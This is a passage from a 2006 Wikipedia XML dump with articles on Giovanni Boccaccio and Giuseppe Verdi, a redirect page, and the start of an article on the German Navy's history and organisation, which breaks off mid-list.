      <contributor>
        <username>Ghepeu</username>
        <id>217964</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Giovanni_Boccaccio.jpg|right|thumb|150px|Giovanni Boccaccio]]
'''Giovanni Boccaccio''' ([[June 16]], [[1313]] &amp;ndash; [[December 21]], [[1375]]) was an [[Italy|Italian]] author and poet, a friend and correspondent of [[Petrarch]], an important [[Renaissance humanism|Renaissance humanist]] in his own right and author of a number of notable works including ''[[On Famous Women]]'', the ''[[Decameron]]'' and his [[poetry|poems]] in the vernacular.  Boccaccio's characters are notable for their era in that they are realistic, spirited and clever individuals who are grounded in reality (in contradiction to the characters of his contemporaries, who were more concerned with the [[Medieval]] virtues of [[Chivalry]], [[Piety]] and [[Humility]]).

==Biography==
The exact details of his birth are uncertain. But what is certain is that he was the illegitimate son of a [[Florence|Florentine]] banker and an unknown woman. An early biographer claimed his mother was a [[Paris]]ien and that the city was also the place of his birth, this has been largely depreciated as a romanticism and his place of birth is more likely to have been in [[Tuscany]], perhaps in Certaldo, the town of his father.

Boccaccio grew up in Florence. His father was working for the ''Compagnia dei Bardi'' and in the 1320s married Margherita del Mardoli, of an illustrious family. It is believed Boccaccio was tutored by [[Giovanni Mazzuoli]] and received from him an early introduction to the works of [[Dante Alighieri|Dante]]. Around 1327 Boccaccio moved to [[Naples]] when his father was appointed to head the Neopolitan branch of his bank.  Boccaccio was apprenticed to the bank and spent six years there. It was a trade for which he had no affinity and he eventually persuaded his father to let him study law at the ''Studium'' in the city. However, his father had introduced him into the Neopolitan nobility and the French-influenced court of Robert the Wise. Boccaccio had become a friend of fellow-Florentine [[Niccolo Acciaiuoli]] and benefited from his influence as lover of [[Catherine of Valois]]. Acciaiuoli was later counsellor to Queen Joanna and the &quot;Grand Seneschal&quot;.

[[Image:Boccaccio01.jpg|thumb|left|200px|statue outside the [[Uffizi]], Florence]]
It seems Boccaccio enjoyed law no more than banking but his studies allowed him the opportunity to study widely and make good contacts with fellow scholars. His early influences included Paolo da Perugia (a curator and author of a collection of myths, the ''Collectiones''), the humanists Barbato da Sulmona and Giovanni Barrili, and the theologian Dionigi da San Sepolcro. In the 1330s Boccaccio also became a father, two illegitimate children of his were born in this time, Mario and Giulio.

In Naples Boccaccio began what he considered his true vocation, poetry. Works produced in this period include ''Filostrato'' (the source for [[Geoffrey Chaucer|Chaucer]]'s ''[[Troilus and Criseyde]]''), ''Teseida'' (ditto the ''Knight's Tale''), ''Filocolo'' a prose version of an existing French romance, and ''La caccia di Diana'' a poem in octave rhyme listing Neopolitan women.  The period featured considerable formal innovation, including possibly introducing the [[Sicilian octave]] to Florence, where it influenced Petrarch.

Boccaccio returned to Florence in early 1341, avoiding the plague in that city of 1340 but also missing the visit of Petrarch to Naples in 1341. He had left Naples due to tensions between the Angevin king and Florence.  His father had returned to Florence in 1338, went bankrupt. His mother died a little later. Although dissatisfied with his return to Florence, Boccaccio continued to work, producing ''Comedia delle ninfe fiorentine'' (also known as ''Ameto'') a mix of prose and poems in 1341, completing the fifty canto allegorical poem ''Amorosa visione'' in 1342, ''Fiammetta'' in 1343 and probably the pastoral piece ''Ninfale fiesolano'' dates from this time. In 1343 Boccaccio's father re-married, to Bice del Bostichi. His children by his first marriage had all died (except Boccaccio) and he was gladdened by the birth of a son, Iacopo, in 1344.  Boccaccio also became a father again, another illegitimate child, Violante, was born in [[Ravenna]].

In Florence the overthrow of [[Walter VI of Brienne|Walter of Brienne]] brought about the government ''popolo minuto''. It diminished the influence of the nobility and the wealthier merchant classes and assisted in the relative decline of Florence. The city was further hurt in 1348 by the [[Black Death]], later used in the ''Decameron'', which killed maybe three-quarters of the city's population. From 1347 Boccaccio was spending much time in Ravenna, seeking new patronage, and despite his claims it is not certain he was actually present in plague-ravaged Florence. His step-mother died during the epidemic and his father, as Minister of Supply in the city was closely associated with the government efforts. His father died in 1349 and as head of the family Boccaccio was forced into a more active role.

Boccaccio began work on the ''Decameron'' around 1349. It is probable that the structure of many of the tales dates from earlier in his career, but the choice of a hundred tales and the frame-story ''lieta brigata'' of three men and seven women dates from this time. The work was largely complete by 1352 and it was Boccaccio's final effort in literature and one of his last works in Italian, the only other substantial work was the misogynist ''Corbaccio'' (dated to either 1355 or 1365). Boccaccio revised and rewrote the ''Decameron'' in  1370-71.  This manuscript has survived to the present day.

From 1350 Boccaccio, though less of a scholar, became closely involved with Italian humanism and also with the Florentine government. His first official mission was to [[Romagna]] in late 1350, he revisited that region twice and was also sent to [[Brandenburg]], [[Milan]] and [[Avignon]]. He also pushed for the study of Greek, housing Barlaam of Calabria and encouraging his tentative translations of works by [[Homer]], [[Euripides]] and [[Aristotle]].

In October 1350 he was delegated to greet Francesco Petrarca as he entered Florence and also have the great man as a guest at his home during his stay. The meeting between the two was extremely fruitful and they were friends from then on, Boccaccio calling Petrarch his teacher and ''magister''. They met again in [[Padua]] in 1351, Boccaccio on an official mission to invite Petrarch to take a chair at the university in Florence. Although unsuccessful, the discussions between the two were instrumental in Boccaccio writing ''Genealogia deorum gentilium'' - the first edition was completed in 1360 and this would remain one of the key reference works on classical mythology for over 400 years. The discussions also formalized Boccaccio's poetic ideas. Certain sources also see a conversion of Boccaccio by Petrarch, from the open humanist of the ''Decameron'' to a more ascetic style, closer to the dominant 14th century ethos, for example he followed Petrarch (and Dante) in the unsuccessful championing of an archaic and deeply allusive form of Latin poetry. In 1359 following a meeting with [[Pope Innocent VI]] and further meetings with Petrarch it is probable that Boccaccio took some kind of religious mantle. There is a persistent, but unsupported, tale that he repudiated his earlier works, including the ''Decameron'', in 1362 as profane.

Following the failed coup of 1361 a number of Boccaccio's close friends and other acquaintances were executed or exiled in the subsequent purge. Although not directly linked to the conspiracy it was in this year that Boccaccio left Florence to reside in Certaldo and also was more distant from government affairs. He did not undertake further missions for Florence until 1365 and traveled to Naples and then on to Padua and [[Venice]], where he met up with Petrarch in grand style, before returning to Certaldo. He met Petrarch only once more, in Padua in 1368. On hearing of the death of Petrarch (July 19, 1374) Boccaccio wrote a commemorative poem, including it in his collection of lyric poems, the ''Rime''.

As mentioned he returned to work for the Florentine government in 1365, undertaking a mission to [[Pope Urban V]]. When the papacy returned to Rome in 1367 Boccaccio was again sent to Urban, offering congratulations. He also undertook diplomatic missions to Venice and Naples.

Of his later works the moralistic biographies gathered as ''De casibus virorum illustrium'' (1355-74) and ''De mulieribus claris'' (1361-75) were most significant. Other works include a dictionary of geographical allusions in classical literature, ''De montibus, silvis, fontibus, lacubus, fluminibus, stagnis seu paludibus et de nominibus maris liber'' (a title desperate for the coining of the word &quot;geography&quot;). He gave a series of lectures on Dante at the Santo Stefano church in 1373 and these resulted in his final major work, the detailed ''Eposizioni sopra la Commedia di Dante''.

His final years were troubled by illnesses, many relating to his great obesity, and he died in [[Certaldo]], [[Tuscany]], on [[21 December]], [[1375]].

==Bibliography==
Alphabetical listing of selected works.

*''Amorosa visione'' (1342)
*''Buccolicum carmen'' (1367-69)
*''Caccia di Diana'' (1334-37)
*''Comedia delle ninfe fiorentine'' (''Amato'', 1341-42)
*''Corbaccio'' (around 1365, this date is disputed)
*''De mulieribus claris'' (1361, revised up to 1375)
*''[[The Decameron|The Decameron]]'' (1349-52, revised 1370-71)
*''Elegia di Madonna Fiammetta'' (1343-44)
*''Esposizioni sopra la Comedia di Dante'' (1373-74)
*''Filocolo'' (1336-39)
*''Filostrato'' (1335 or 1340)
*''Genealogia deorum gentilium libri'' (1360, revised up to 1374)
*''Ninfale fiesolano'' (within 1344-46, this date is disputed)
*''Rime'' (finished 1374)
*''Teseida delle nozze di Emilia'' (before 1341)
*''Trattatello in laude di Dante'' (1357, title revised to ''De origine vita studiis et moribus viri clarissimi Dantis Aligerii florentini poetae illustris et de operibus compositis ab eodem'')
*''Zibaldone Magliabechiano'' (within 1351-56)

For an exhaustive listing there is ''Giovanni Boccaccio: an Annotated Bibliography'' by J.P. Consoli.

==Further reading==
* ''On Famous Women,'' Latin text and English translation, 2001 ISBN 0-674-00347-0
* ''The Decameron'', ISBN 0451528662
* ''The Life of Dante'', ISBN 1843910063
* ''The Elegy of Lady Fiammetta'', ISBN 0226062767

==External links==
*{{gutenberg author|id=Giovanni_Boccaccio|name=Giovanni Boccaccio}}
*[http://www.brown.edu/Departments/Italian_Studies/dweb/ Decameron Web] A project of the Department of Italian Studies at Brown University, this site has much of Boccaccio's writing both in the original Italian and in English translation.

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[[Category:1375 deaths|Boccaccio, Giovanni]]
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[[Category:Italian Renaissance authors|Boccaccio, Giovanni]]
[[Category:Italian poets|Boccaccio, Giovanni]]

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  </page>
  <page>
    <title>Giuseppe Verdi</title>
    <id>12958</id>
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      <timestamp>2006-03-03T21:44:52Z</timestamp>
      <contributor>
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      <comment>/* Verdi's operas */ rev.links</comment>
      <text xml:space="preserve">:''This article is about the famous composer Giuseppe Verdi. For other meanings see [[Verdi (disambiguation)]].''

[[Image:Verdi.jpg|thumbnail|200px|right|Giuseppe Verdi, by [[Giovanni Boldini]], 1886 (National Gallery of Modern Art, Rome)]]

'''Giuseppe Fortunino Francesco Verdi''' ([[October 10]], [[1813]] – [[January 27]], [[1901]]) is to date the most influential composer of the 19th century's [[Italian School of Opera]]. His works are frequently performed in opera houses throughout the world and, transcending the boundaries of the genre, some of his themes have long since taken root in popular culture - such as [[La donna è mobile]], from [[Rigoletto (opera)|Rigoletto]]. Oftentimes scoffed at by the critics, in his lifetime and today, as catering to the tastes of the common folk, overly simple in chromatic texture and shamelessly melodramatic, Verdi’s masterpieces dominate the standard repertoire a century and a half after their composition.

==Biography==
===Early life===
Verdi was born on October 10, 1813 in [[Le Roncole]], a village near [[Busseto]] in the [[Duchy of Parma and Piacenza]] (now in the province of [[Parma]]). His father was an innkeeper. When he was still a child, Verdi's parents moved to Busseto from the province of [[Piacenza]], where the future composer's education was greatly facilitated by visits to the large library belonging to the local Jesuit school. Also in Busseto, Verdi received his first lessons in composition from [[Ferdinando Provesi]], who was in charge of the local philharmonic society. 

Verdi went to Milan when he was twenty to continue his studies, but the Conservatory of Music rejected him, citing the fact that he was two years over the age limit. Verdi took private lessons in counterpoint while attending operatic performances in Milan, as well as lesser concerts of, specifically, Viennese music. Association with Milan's beaumonde convinced him he should pursue a career as a theatre composer.

Returning to Busseto, he became town music master and, in 1830, gave his first public performance at the home of [[Antonio Barezzi]], a local merchant and music lover who supported Verdi's musical ambitions in Milan and who invited him to be the music teacher of his daughter, Margherita. They married in 1836 and their two children died in infancy.

===Initial recognition===
The production of his first opera, ''[[Oberto]]'', by Milan's [[La Scala]], achieved a degree of success, after which [[Bartolomeo Merelli]], an impresario with La Scala, offered Verdi a contract for two more works. 

While working on his second opera, ''[[Un giorno di regno]]'', Verdi's wife and children died.  The opera was a flop and he fell into despair vowing to give up musical composition for ever.   However, Merelli persuaded him to write ''[[Nabucco]]'' in 1842 and its opening performance made Verdi famous. Legend has it that it was the words of the famous &quot;Va pensiero&quot; chorus of the Hebrew slaves which inspired Verdi to begin writing again.

A large number of operas followed in the decade after 1843, a period which Verdi was to describe as his &quot;galley years&quot;.  These included ''[[I Lombardi alla prima crociata|I&amp;nbsp;Lombardi]]'' (1843) and ''[[Ernani]]'' (1844) 

For some, the most important and original among Verdi's early operas is ''[[Macbeth (opera)|Macbeth]]'' (1847). For the first time, Verdi attempted an operistic adaptation of a work by his favorite dramatist — [[William Shakespeare]] — and by creating an opera without a love story, he broke a basic convention in Italian 19th Century opera.

In 1847, ''I&amp;nbsp;Lombardi'', revised and renamed ''Jerusalem'', was produced by the Paris Opera and, due to a number of Parisian conventions that had to be honored (including extensive ballets), became Verdi's first work in the French grand-opera style.

===Great master===
At the age of thirty-eight, Verdi began an affair with [[Giuseppina Strepponi]], a soprano in the twilight of her career. Their cohabitation before marriage was regarded as scandalous in some of the places they lived, but Verdi and Giuseppina married in 1859.  

As the &quot;galley years&quot; were drawing to a close, Verdi created one of his greatest masterpieces, ''[[Rigoletto (opera)|Rigoletto]]'' which premiered in Venice in 1851. Based on a play by author [[Victor Hugo]], the libretto had to undergo substantive revisions in order to satisfy the epoch's censorship, and the composer was on the verge of giving it all up a number of times. The opera quickly became a great success.

[[Image:Peppina.jpg|thumbnail|100px|right|Giuseppina (Peppina) Strepponi.]]

With ''Rigoletto'' Verdi sets up his original idea of musical drama as a cocktail of heterogeneous elements embodying social and cultural complexity, and beginning from a distinctive mixture of comedy and tragedy. ''Rigoletto'''s musical range includes band-music such as the first scene or the song [[La donna è mobile]], Italian melody such as the famous quartet [[Bella figlia dell'amore]], chamber music such as the duet between Rigoletto and Sparafucile and powerful and concise [[declamatos]] often based on key-notes like the C and C# notes in Rigoletto and Monterone's upper register. 

There followed the second and third of the three major operas of Verdi's &quot;middle period&quot;: in 1853 ''[[Il Trovatore]]'' was produced in Rome and ''[[La traviata]]'' in Venice. The latter was based on [[Alexandre Dumas, fils]]' play ''[[The Lady of the Camellias]].'' 

Between 1855 and 1867 an outpouring of great Verdi operas were to follow, among them such repertory staples as ''[[Un ballo in maschera]]'' (1859), ''[[La forza del destino]]'' (commissioned by the Imperial Theatre of [[Saint Petersburg]] for 1861 but not performed until 1862), and a revised version of ''[[Macbeth (opera)|Macbeth]]'' (1865). Other somewhat less often performed include ''[[Les vêpres siciliennes]]'' (1855) and ''[[Don Carlos]]'' (1867), both commissioned by the Paris Opera and initially given in French. Today, these latter two operas are most often performed in Italian; and ''[[Simon Boccanegra]]'' in 1857.  

In 1869, Verdi composed a section for a Requiem Mass in memory of [[Gioacchino Rossini]]. Verdi proposed the Requiem to be a collection of sections composed by other Italian contemporaries of Rossini. The Requiem was compiled and completed, but it was not performed in Verdi's lifetime. Verdi later reworked and used the &quot;Libera Me&quot; section he composed for the Rossini Requiem as part of a complete [[Requiem (Verdi)|Requiem Mass]], honoring [[Alessandro Manzoni]], who died in 1873. The complete Requiem was first performed at the cathedral in Milan, on [[22 May]] [[1874]].

Verdi's grand opera, ''[[Aida]]'', is sometimes thought to have been commissioned for the celebration of the opening of the [[Suez Canal]] in 1869, but, according to Budden (see below, volume 3), Verdi turned down the Khedive's invitation to write an &quot;ode&quot; for the new opera house he was planning to inaugurate as part of the canal opening festivities. The opera house actually opened with a production of [[Rigoletto]]. It was later in 1869/70, when the organizers again approached Verdi, this time with the idea of writing an opera, that he again turned them down. They warned him they would ask [[Charles Gounod]] instead, but when they threatened to engage [[Richard Wagner]]'s services, Verdi begin to show some considerable interest, and agreements were signed in June 1870.

In fact, the two composers, who were the leaders of their respective schools of music, seemed to resent each other greatly. They never met. Verdi's comments on Wagner and his music are few and hardly benevolent (&quot;He invariably chooses, unnecessarily, the untrodden path, attempting to fly where a rational person would walk with better results&quot;), but at least one of them is kind: upon learning of Wagner's death, Verdi lamented: &quot;Sad! Sad! Sad! ... a name that leaves a most powerful mark on the history of our art.&quot; Of Wagner's comments on Verdi, only one is well-known. After listening to Verdi's [[Requiem (Verdi)|Requiem]], the great German, prolific and eloquent in his comments on some other composers, said, &quot;It would be best not to say anything.&quot;

''[[Aida]]'' premiered in Cairo in 1871 and was an instant success.

===Twilight===
During the following years Verdi worked on revising some of his earlier scores, most notably new versions of [[Don Carlos]], [[La forza del destino]], and [[Simon Boccanegra]]. 

[[Otello]], based on [[William Shakespeare]]'s play, with a libretto written by the younger composer of [[Mefistofele]], [[Arrigo Boito]], premiered in Milan in 1887. Its music is &quot;continuous&quot; and cannot easily be divided into separate &quot;numbers&quot; to be performed in concert. Although masterfully orchestrated, it lacks the melodic lustre so characteristic of Verdi's earlier, great, operas. 

Verdi's last opera, [[Falstaff (opera)|Falstaff]], whose libretto, also by [[Boito]], was based on Shakespeare's [[The Merry Wives of Windsor|Merry Wives of Windsor]] and [[Victor Hugo]]'s subsequent translation, was an  international success. The score is one of the supreme comic operas and shows Verdi's genius as a contrapuntist.

Verdi died in January 1901.  

Many of his operas, especially the later ones from 1851 onwards are a staple of the [[List of famous operas|standard repertoire]].

==Verdi's role in the Risorgimento==
In the 1840s, the popularity of Verdi's music coincided with the [[Italian unification|Risorgimento]], the campaign for a unified Italian nation. The wild success of ''[[Nabucco]]'' in particular put Verdi's name and music in the minds of many Italians at the time. They perceived in Verdi's works a sadness that reflected their own unhappiness with the status quo, and a vibrant strain conjuring romantic visions of [[Italian unification]]. Verdi's songs were especially resonant in Milan, then under Austrian occupation.

In particular, ''Nabucco'''s &quot;Chorus of the Hebrew Slaves&quot;, the tender lament of captives in Babylonia, was an immense success, and reportedly could be heard sung in the streets of Milan in 1843. Also known as ''Va' Pensiero'' from its first line, the song has been proposed from time to time as the Italian national anthem. It begins:

&lt;table&gt;&lt;tr&gt;
&lt;td width=50&gt;&lt;/td&gt;
&lt;td&gt;
''Fly, thought, on wings of gold;''&lt;br /&gt;
''go settle upon the slopes and the hills''&lt;br /&gt;
''where the sweet airs of our''&lt;br /&gt;
''native soil smell soft and mild!''&lt;br /&gt;
...''Oh, my country, so lovely and lost!''&lt;br /&gt;
''Oh remembrance so dear yet unhappy!''
&lt;/td&gt;
&lt;td width=50&gt;&lt;/td&gt;
&lt;td&gt;
''Va, pensiero, sull'ali dorate;''&lt;br /&gt;
''va, ti posa sui clivi, sui colli''&lt;br /&gt;
''ove olezzano tepide e molli''&lt;br /&gt;
''l'aure dolci del suolo natal!''&lt;br /&gt;
...''Oh, mia patria sì bella e perduta!''&lt;br /&gt;
''Oh, membranza sì cara e fatal!''
&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;

Full lyrics can be found here: [http://www.r-ds.com/opera/verdiana/lyrics.htm#Va,%20pensiero] and a recording ([[MP3]] format) here: [http://www.r-ds.com/domingo/Soundfiles/vapensiero.mp3].

[[Milan]] was still under Austrian occupation and was beginning to consider supporting [[Victor Emmanuel II of Italy|Victor Emmanuel]]'s effort in Italian reunification, as it afterwards did. Clandestine partisans started therefore plotting to have the then-King of [[Sardinia]] conquer Milan. Due to severe Austrian censorship, this campaign was given a codename: &quot;Viva VERDI.&quot; Verdi was a secret acronym for '''''V'''ittorio '''E'''manuele '''R'''e '''D'''&lt;nowiki&gt;'&lt;/nowiki&gt;'''I'''talia'', referring to Victor Emmanuel, King of Italy. This enabled nationalists to freely shout their support for Victor Emmanuel, while outsiders assumed they were fans of the composer. Giuseppe Verdi was aware of this use of his name and is supposed to have consented.

Other references to political events have been seen in Verdi's ''I Lombardi''.

==Style==
Verdi's predecessors who influenced his music were Rossini, Bellini, [[Giacomo Meyerbeer]] and, most notably, [[Gaetano Donizetti]] and [[Saverio Mercadante]]. With the possible exception of [[Otello]] and [[Aida]], he was free of Wagner's influence. Although respectful of Gounod, Verdi was careful not to learn anything from the Frenchman whom many of Verdi's contemporaries regarded as the greatest living composer. Some strains in [[Aida]] suggest at least a superficial familiarity with the works of the Russian composer [[Mikhail Glinka]], whom [[Franz Liszt]], after his tour of the Russian Empire as a pianist, popularized in Western Europe.

Throughout his career, Verdi refused to use the high C in his tenor arias, citing the fact that the opportunity to sing that particular note in front of an audience distracts the performer before and after the note comes on.

Although his [[orchestration]] is often masterful, Verdi relied heavily on his melodic gift as the ultimate instrument of musical expression. In fact, in many of his passages, and especially in his arias, the [[harmony]] is ascetic, with the entire orchestra occasionally sounding as if it were one large accompanying instrument - a giant-sized guitar playing chords. Some critics maintain he paid insufficient attention to the technical aspect of composition, lacking as he did schooling and refinement. Verdi himself once said, &quot;Of all composers, past and present, I am the least learned.&quot; He hastened to add, however, &quot;I mean that in all seriousness, and by learning I do not mean knowledge of music.&quot;

However, it would be incorrect to assume that Verdi underestimated the expressive power of the orchestra or failed to use it to its full capacity where necessary. Moreover, orchestral and [[contrapuntal]] innovation is characteristic of his style: for instance, the strings doing the rapid ascending scale in Monterone's scene in [[Rigoletto]] accentuate the drama, or, also in [[Rigoletto]], the choir humming six closely grouped notes backstage portray, very effectively, the brief ominous wails of the approaching tempest. Verdi's innovations are so distinctive that other composers do not use them; they remain, to this day, Verdi's signature tricks.

Verdi was one of the first composers who insisted on patiently seeking out plots to suit their particular talents. Working closely with his librettists and well aware that dramatic expression was his forte, he made certain that the initial work upon which the libretto was based was stripped of all &quot;unnecessary&quot; detail and &quot;superfluous&quot; participants, and only characters brimming with passion and scenes rich in drama remained.

==Verdi's operas==
*''[[Oberto|Oberto, Conte di San Bonifacio]]'' - [[Teatro alla Scala]], [[Milan]], [[1839]]
*''[[Un Giorno di Regno]]'' - [[Teatro alla Scala]], [[1840]]
*''[[Nabucco]]'' - [[Teatro alla Scala]], [[1842]]
*''[[I Lombardi]]'' - [[Teatro alla Scala]], [[1843]]
*''[[Ernani]]'' - [[Teatro alla Scala]], [[1844]]
*''[[I due Foscari]]'' - [[Teatro Argentina]], [[Rome]], [[1844]]
*''[[Giovanna d'Arco]]'' - [[Teatro alla Scala]], [[1845]]
*''[[Alzira]]'' - [[Teatro San Carlo]], [[Naples]], [[1845]]
*''[[Attila]]'' - [[Teatro la Fenice]], [[Venice]], [[1846]]
*''[[Macbeth]]'' - [[Teatro della Pergola]], [[Florence]], [[1847]]
*''[[I masnadieri]]'' - [[Her Majesty's Theatre]], [[London]], [[1847]]
* ''[[I Lombardi alla prima crociata|Jérusalem]]'' - [[Académie de musique|Académie Royale de Musique]], [[Paris]], [[1847]] (revised version of ''[[I Lombardi]]'')
*''[[Il corsaro]]'' - [[Teatro Grande]], [[Trieste]], [[1848]]
*''[[La battaglia di Legnano]]'' - [[Teatro Argentina]], [[Rome]], [[1849]]
*''[[Luisa Miller]]'' - [[Teatro San Carlo]], [[Naples]], [[1849]]
*''[[Stiffelio]]'' - [[Teatro Grande]], [[Trieste]], [[1850]]
*''[[Rigoletto]]'' - [[Teatro la Fenice]], [[Venice]],[[1851]]
*''[[Il trovatore]]'' - [[Tor di Nona|Teatro Apollo]], [[Rome]], [[1853]]
*''[[La traviata]]'' - [[Teatro la Fenice]], [[1853]]
*''[[Les vêpres siciliennes]]'' - [[Opéra Garnier]], [[Paris]], [[1855]]
*''[[Simon Boccanegra]]'' - [[Teatro La Fenice]], [[Venice]], [[1857]] 
* ''[[Aroldo]]'' - [[Teatro Nuovo]], [[Rimini]], [[1857]] (revised version of ''[[Stiffelio]]'')
*''[[Un ballo in maschera]]'' - [[Tor di Nona|Teatro Apollo]], [[1859]]
*''[[La forza del destino]]'' - [[Mariinsky Theatre|Imperial Theater]], [[Saint Petersburg]], [[1862]]
* [[Macbeth]] - [[Theâtre Lyric]], [[Paris]], [[1865]] (revised version)
*''[[Don Carlos]]'' - [[Opéra Garnier]] [[Paris]], [[1867]]
* [[La forza del destino]] - [[Teatro alla Scala]], [[Milan]],[[1869]] (revised version)
*''[[Aida]]'' - [[Khedivial Opera House]] [[Cairo]], [[1871]]
*  [[Don Carlo]] - ?, [[Naples]], [[1872]] - (revision of [[Don Carlos]])
*''[[Simon Boccanegra]]'' - [[Teatro alla Scala]], [[1881]] (revised 1857 version)
*  [[Don Carlo]] - [[La Scala]], [[Milan]], [[1884]]  (second revision, 4 Act version)
*  [[Don Carlo]] - ?, [[Modena]], [[1886]] (third revision, 4 Act version)
*''[[Otello]]'' - [[Teatro alla Scala]], [[1887]]
*''[[Falstaff (opera)|Falstaff]]'' - [[Teatro alla Scala]], [[1893]]
===See also===
[[List of compositions by Giuseppe Verdi]]

==References==
* {{cite book | last = Budden | first =  J. | year = 1973 | title = The Operas of Verdi, Volume I | edition = 3rd ed | publisher = Oxford University Press | id = ISBN 0198162618 }}
* {{cite book | last = Budden | first =  J. | year = 1973 | title = The Operas of Verdi, Volume II | edition = 3rd ed | publisher = Oxford University Press | id = ISBN 0198162626 }}
* {{cite book | last = Budden | first =  J. | year = 1973 | title = The Operas of Verdi, Volume III | edition = 3rd ed | publisher = Oxford University Press | id = ISBN 0198162634 }}
* {{cite book | last = Kamien | first =  R. | year = 1997 | title = Music: an appreciation - student brief | edition = 3rd ed | publisher = McGraw Hill | id = ISBN 0070365210 }}
* {{cite book | last = Gal | first =  H. | year = 1975 | title = Brahms, Wagner, Verdi: drei meister, drei welten | publisher = Fischer | id = ISBN 3100243021 }}
* {{cite book | last = Phillips-Matz | first =  Mary Jane | year = 1993 | title = Verdi: A Biography | edition = 1st ed | publisher = Oxford University Press | id = ISBN 0-19-313204-4 }}
* {{cite book | last = Michels | first =  Ulrich | year = 1992 | title = dtv-Atlas zur Musik: Band Zwei | edition = 7th ed | publisher = Deutscher Taschenbuch Verlag in association with Bärenreiter Verlag | id = ISBN 3-423-03023-2 }}

==Media==
{{multi-listen start}}
{{multi-listen item|filename=La Donna E Mobile Rigoletto.ogg|title=La donna è mobile|description=[[Enrico Caruso]] sings [[La donna è mobile]] from Verdi's [[Rigoletto (opera)|Rigoletto]], circa [[1908]]|format=[[Ogg]]}}
{{multi-listen end}}

==External links==
* [http://www.giuseppeverdi.it Giuseppe Verdi Official Site]
* [http://cylinders.library.ucsb.edu/search.php?query=Verdi%2C+Giuseppe&amp;queryType=%40attr+1%3D1 Verdi cylinder recordings], from the [[Cylinder Preservation and Digitization Project]] at the [[University of California, Santa Barbara]] Library.
* [http://opera.stanford.edu/Verdi/main.html  Stanford University list of Verdi operas, premiere locations and dates, etc.]
* {{gutenberg author| id=Giuseppe+Verdi | name=Giuseppe Verdi}}

==Eponyms==
* The [[Verdi Inlet]] on the [[Beethoven Peninsula]] of [[Alexander Island]] just off of [[Antarctica]]
* [[Verdi Square]] at Broadway and West 72nd Street in [[Manhattan]]
* [[3975 Verdi|Asteroid 3975 Verdi]]

==Trivia==
*Musical humorist [[Victor Borge]] used to refer to Verdi as &quot;Joe Green&quot;, saying that Giuseppe Verdi was just his &quot;stage name&quot;.



{{Commons|Category:Giuseppe Verdi}}

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[[Category:1901 deaths|Verdi, Giuseppe]]
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[[Category:Romantic composers|Verdi, Giuseppe]]
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    </revision>
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  <page>
    <title>Godwins Law</title>
    <id>12959</id>
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      <timestamp>2005-12-10T21:25:00Z</timestamp>
      <contributor>
        <username>CXI</username>
        <id>93988</id>
      </contributor>
      <minor />
      <comment>Godwin's law -&gt; Godwin's Law</comment>
      <text xml:space="preserve">#REDIRECT [[Godwin's Law]]</text>
    </revision>
  </page>
  <page>
    <title>German Navy</title>
    <id>12960</id>
    <revision>
      <id>41155819</id>
      <timestamp>2006-02-25T11:35:58Z</timestamp>
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      <minor />
      <comment>/* Organization */</comment>
      <text xml:space="preserve">[[Image:Naval Ensign of Germany.svg|right|200px]]

The '''German Navy''' ([[German language|German]]: ''Deutsche Marine'' {{Audio|De-Marine-pronunciation.ogg|&lt;small&gt;listen&lt;/small&gt;}}) is the [[navy]] of [[Germany]] and part of the [[Bundeswehr]]. 

The German Navy traces its roots back to the Imperial Fleet (Reichsflotte) of the [[Revolutions of 1848|revolutionary era of 1848-1852]] and more directly to the [[Prussian Navy]], which later evolved into the Northern German Federal Navy ([[Norddeutsche Bundesmarine]], [[1866]]-[[1871]]) and became the Imperial Navy ([[Kaiserliche Marine]], [[1872]]-[[1918]]). From [[1919]] to [[1921]] it was known as the Temporary Imperial Navy (Vorläufige Reichsmarine) and then became the [[Reichsmarine]]. It was known as the War Navy ([[Kriegsmarine]]) from [[1935]] to [[1945]].  

In [[1956]], with [[West Germany]]'s accession to [[NATO]], a new navy was established and was referred to as the Federal Navy (Bundesmarine). With the reunification of Germany in [[1990]], it was decided to simply use the name ''Deutsche Marine'' (&quot;German Navy&quot;).
[[Image:Fregatte Karlsruhe.jpg|thumb|left|250px|German frigate &quot;Karlsruhe&quot; rescuing shipwrecked people off the coast of [[Somalia]] while participating in the international anti-terror operation ENDURING FREEDOM, April 2005]]

== Missions ==

The German Navy is part of the German armed forces (''[[Bundeswehr]]''), and is deeply integrated into the [[NATO]] alliance. Its mission includes the participation in peace-keeping and peace enforcement operations as well as the protection of German and Allied territories. German war ships permanently participate in all ''NATO Maritime Groups''. The German Navy is also engaged in operations against international [[terrorism]] such as [[Operation Enduring Freedom]] and NATO-Operation [[Active Endeavour]].

== Organization ==

The German Navy is commanded by the '''Chief of the Naval Staff''' in the Federal Ministry of Defense in [[Bonn]]. The major commands are the '''Fleet Command''' at Glücksburg near [[Flensburg]] and the '''Naval Office''' at [[Rostock]]. The Fleet is being commanded by the Commander-in-Chief German Fleet (CINCGERFLEET) and comprises all combat vessels, [[aircraft]], [[helicopter]]s and other combat forces, while schools, naval bases and test installations are under the purview of the Naval Office. The strength of the Navy is about 19,000 men and women with another 6,000 navy personnel serving in different elements of the central military organization of the Bundeswehr.

The navy as a part of the Bundeswehr is responsible for developing and providing the maritime capabilities of the German armed forces. Therefore it owns a number of development and testing installations that are part of an interservice and international network.

*'''Fleet Command''' ''German: Flottenkommando'' (Glücksbürg)
**Naval Air Wing 3 (Nordholz)
**Naval Air Wing 5 (Kiel)
**Naval Medical Institute (Kiel), responsible especially for diving medicine.
**''1st Flotilla'' (Kiel)
***1st Corvette Squadron (Warnemünde)
***1st Submarine Squadron (Eckernförde)
***Submarine Training Centre (Eckernförde)
***1st Mine Counter-Measure Squadron (Kiel)
***7th Fast Patrol Boat Squadron (Warnemünde)
***5th Mine Counter-Measure Squadron (Kiel)
***Force Protection Group (Eckernförde)
****one HQ and support company
****four Force Protection companies
***Special Warface Group (Eckernförde)
****one Frogmen company
****one clearance diver company (mine counter measures and explosive ordnance disposal)
****two companies for special operations (e.g. boarding)
****one support company
****special training center
**''2nd Flotilla'' (Wilhelmshaven)
***2nd Frigate Squadron (Wilhelmshaven)
***4th Frigate Squadron (Wilhelmshaven)
***Auxiliary Squadron (Wilhelmshaven/Kiel)

*'''Naval Office''' ''German: [[Marineamt]]'' (Rostock)
**''Navy Schools''
***Naval Academy (Flensburg-Mürwik)
***Petty Officer School (Plön, near Kiel)
***Engeneering School (Parow, near Stralsund)
****Damage Control Training Centre (Neustadt in Holstein)
